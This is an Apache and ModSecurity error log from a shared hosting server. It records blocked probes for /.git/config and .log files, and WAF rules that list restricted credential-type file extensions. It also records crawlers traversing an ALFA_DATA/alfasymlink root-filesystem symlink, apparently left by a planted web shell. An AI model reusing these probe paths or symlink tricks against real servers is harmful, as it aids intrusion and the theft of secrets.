[Mon Oct 26 20:08:13.526156 2026] [security2:error] [pid 3117428:tid 3117428] [client 189.150.121.215:43043] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/debug_nayarit_1.html"] [unique_id "at_rbSWN_iofYZIHyv48AwAAAAs"], referer: https://parkeranders.com/
[Mon Oct 26 20:08:18.229719 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.93.98.99:4610] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:08:22.502336 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.235.158.162:30907] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:08:26.334658 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 35.173.18.61:9087] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:08:30.331632 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 3.212.205.90:53574] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:08:42.552325 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 35.169.119.108:59394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:03/physical_node/resource0_wc
[Mon Oct 26 20:08:46.223781 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.88.84.219:61726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:08:50.438202 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.89.176.255:57286] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:09:10.369243 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.232.82.72:11162] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:09:11.201880 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 85.208.96.204:10286] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/total_objects
[Mon Oct 26 20:09:13.761787 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 85.208.96.210:65424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.2/remove
[Mon Oct 26 20:09:18.927359 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 34.231.77.232:61455] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:09:30.411699 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.45.77.169:49586] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:09:42.218102 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 18.214.238.178:24035] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:09:46.225657 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 100.28.118.16:14638] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:09:54.380199 2026] [authz_core:error] [pid 3098116:tid 3098116] [client 199.165.159.105:10664] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:09:58.318776 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.225.9.97:31215] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:10:06.399419 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 3.89.176.255:62292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/driver/module/drivers/pci:virtio-pci/unbind
[Mon Oct 26 20:10:46.327909 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 52.207.47.227:25100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/rom
[Mon Oct 26 20:10:54.242621 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.152.163.42:5624] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:11:02.238354 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.206.212.24:20990] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:11:18.282972 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 34.204.150.196:35988] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:11:30.476764 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 18.213.240.226:37061] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:11:46.398961 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 52.73.6.26:53442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:11:50.387920 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 100.24.149.244:36285] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:12:00.955547 2026] [security2:error] [pid 3122519:tid 3122519] [client 43.162.95.192:54090] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at_sUMSPa3-L2OSmntaIpQAAAAI"]
[Mon Oct 26 20:12:00.956477 2026] [authz_core:error] [pid 3122519:tid 3122519] [client 43.162.95.192:54090] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:12:10.420806 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.163.136.244:53194] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:12:10.626269 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 185.191.171.7:49726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/slabs_cpu_partial
[Mon Oct 26 20:12:15.016201 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.70.209.13:11790] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:12:18.408950 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 44.221.227.90:64482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:12:26.243765 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.216.86.144:6645] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:12:30.270135 2026] [security2:error] [pid 3113375:tid 3113375] [client 98.83.94.113:16203] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:04.0/virtio1/"] [unique_id "at_sbrFVcNHq_I-IXO78eAAAAAM"]
[Mon Oct 26 20:12:30.270191 2026] [security2:error] [pid 3113375:tid 3113375] [client 98.83.94.113:16203] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:04.0/virtio1/"] [unique_id "at_sbrFVcNHq_I-IXO78eAAAAAM"]
[Mon Oct 26 20:12:36.543284 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.12:44786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/object_size
[Mon Oct 26 20:12:45.427220 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.209:19782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/aliases
[Mon Oct 26 20:12:47.992970 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 185.191.171.14:30686] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:12:49.724757 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 185.191.171.3:64322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/order
[Mon Oct 26 20:12:54.230437 2026] [ssl:error] [pid 3100940:tid 3100940] (5)Input/output error: [client 54.164.106.236:48728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:12:58.785245 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 52.7.13.143:27222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:13:06.238523 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 18.211.148.239:28691] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:13:19.045333 2026] [core:crit] [pid 3098113:tid 3098113] (13)Permission denied: [client 98.83.178.66:8724] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/fd/' is executable
[Mon Oct 26 20:13:19.045374 2026] [core:crit] [pid 3098113:tid 3098113] (13)Permission denied: [client 98.83.178.66:8724] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/map_files/' is executable
[Mon Oct 26 20:13:19.045391 2026] [core:crit] [pid 3098113:tid 3098113] (13)Permission denied: [client 98.83.178.66:8724] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/800653/fdinfo/' is executable
[Mon Oct 26 20:13:21.323264 2026] [security2:error] [pid 3113375:tid 3113375] [client 189.62.150.218:10323] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/wapisimodatabase.log"] [unique_id "at_sobFVcNHq_I-IXO78ewAAAAM"], referer: https://parkeranders.com/
[Mon Oct 26 20:13:21.323885 2026] [security2:error] [pid 3113375:tid 3113375] [client 189.62.150.218:10323] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/wapisimodatabase.log"] [unique_id "at_sobFVcNHq_I-IXO78ewAAAAM"], referer: https://parkeranders.com/
[Mon Oct 26 20:13:21.324968 2026] [security2:error] [pid 3113375:tid 3113375] [client 189.62.150.218:10323] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at_sobFVcNHq_I-IXO78ewAAAAM"], referer: https://parkeranders.com/
[Mon Oct 26 20:13:22.250538 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 185.191.171.9:48882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bdev_cache/shrink
[Mon Oct 26 20:13:30.398648 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.217.82.254:29428] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:13:46.364928 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.213.240.226:46408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:14:15.196046 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 85.208.96.205:30288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:14:32.222799 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 44.214.19.8:45703] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:14:34.255617 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 23.21.148.226:60919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:14:38.262741 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.54.15.103:2423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:14:50.588278 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 18.205.91.101:46097] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:14:58.541814 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 18.214.186.220:23078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:15:10.489538 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 3.224.215.150:49868] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:15:18.282815 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 184.73.47.24:43273] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:15:22.342679 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.213.70.100:49841] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:15:42.534369 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 35.169.119.108:1847] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:15:50.307297 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 18.206.47.187:24814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/resource4_wc
[Mon Oct 26 20:15:54.241850 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 3.224.104.67:32278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/4/module/uevent
[Mon Oct 26 20:15:58.384762 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 52.70.123.241:24054] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:16:06.201135 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.204.174.139:23600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:16:16.526464 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 185.191.171.17:33808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/usersize
[Mon Oct 26 20:16:22.144352 2026] [ssl:error] [pid 3100940:tid 3100940] (22)Invalid argument: [client 18.213.240.226:42554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:16:38.248088 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 18.206.47.187:27225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:16:42.235439 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 85.208.96.194:26300] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/reclaim_account
[Mon Oct 26 20:16:42.255237 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.204.89.12:19726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:16:47.532456 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 185.191.171.11:21988] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/remote_node_defrag_ratio
[Mon Oct 26 20:17:38.413446 2026] [security2:error] [pid 3117428:tid 3117428] [client 102.220.163.241:23356] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at_toiWN_iofYZIHyv48HAAAAAs"]
[Mon Oct 26 20:17:38.454720 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 3.94.156.104:17386] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:17:38.672143 2026] [security2:error] [pid 3117428:tid 3117428] [client 102.220.163.241:23356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at_toiWN_iofYZIHyv48HAAAAAs"]
[Mon Oct 26 20:17:38.672997 2026] [security2:error] [pid 3117428:tid 3117428] [client 102.220.163.241:23356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_toiWN_iofYZIHyv48HAAAAAs"]
[Mon Oct 26 20:17:39.281828 2026] [security2:error] [pid 3100940:tid 3100940] [client 102.220.163.241:32208] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at_toz77nSD73jfhp0aEgQAAAAc"]
[Mon Oct 26 20:17:39.282105 2026] [security2:error] [pid 3100940:tid 3100940] [client 102.220.163.241:32208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at_toz77nSD73jfhp0aEgQAAAAc"]
[Mon Oct 26 20:17:39.282841 2026] [security2:error] [pid 3100940:tid 3100940] [client 102.220.163.241:32208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_toz77nSD73jfhp0aEgQAAAAc"]
[Mon Oct 26 20:17:52.312868 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.7:52656] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sigqueue/slabs
[Mon Oct 26 20:17:53.893987 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 85.208.96.196:42794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/objects
[Mon Oct 26 20:17:58.289570 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 100.29.155.89:38919] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:18:02.550364 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.213.102.186:12823] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:18:06.789315 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.211.105.134:4456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:18:34.275927 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 23.21.179.120:7752] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:18:38.796656 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 54.235.172.96:22441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:18:42.405225 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.45.29.57:18580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:19:10.146609 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.232.39.98:53700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:19:18.334146 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.208.223.68:25600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:19:26.212685 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 34.192.67.98:42058] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource4_wc
[Mon Oct 26 20:19:30.273418 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.45.194.165:52425] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:19:32.759269 2026] [security2:error] [pid 3117426:tid 3117426] [client 170.106.73.216:59552] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at_uFP5ZEdGRoel0j8felwAAAAg"]
[Mon Oct 26 20:19:32.760317 2026] [authz_core:error] [pid 3117426:tid 3117426] [client 170.106.73.216:59552] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:19:46.138018 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.91.122.193:27116] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:19:49.562448 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 199.165.159.112:6897] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 20:19:58.140455 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 34.204.150.196:7552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/system/memory/memory4/node0/memory20/node0/cpu0/firmware_node/subsystem/drivers/ec/uevent
[Mon Oct 26 20:20:20.428646 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 185.191.171.11:31172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/hwcache_align
[Mon Oct 26 20:20:22.150149 2026] [security2:error] [pid 3117428:tid 3117428] [client 100.28.49.152:44465] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/device/physical_node/firmware_node/subsystem/drivers/thermal/"] [unique_id "at_uRiWN_iofYZIHyv48JAAAAAs"]
[Mon Oct 26 20:20:22.150193 2026] [security2:error] [pid 3117428:tid 3117428] [client 100.28.49.152:44465] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/device/physical_node/firmware_node/subsystem/drivers/thermal/"] [unique_id "at_uRiWN_iofYZIHyv48JAAAAAs"]
[Mon Oct 26 20:20:30.198694 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.213.213.161:35058] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:20:38.239764 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 44.213.202.136:5431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:20:46.334744 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.212.131.50:24013] AH02013: coalesce failed to read from data bucket
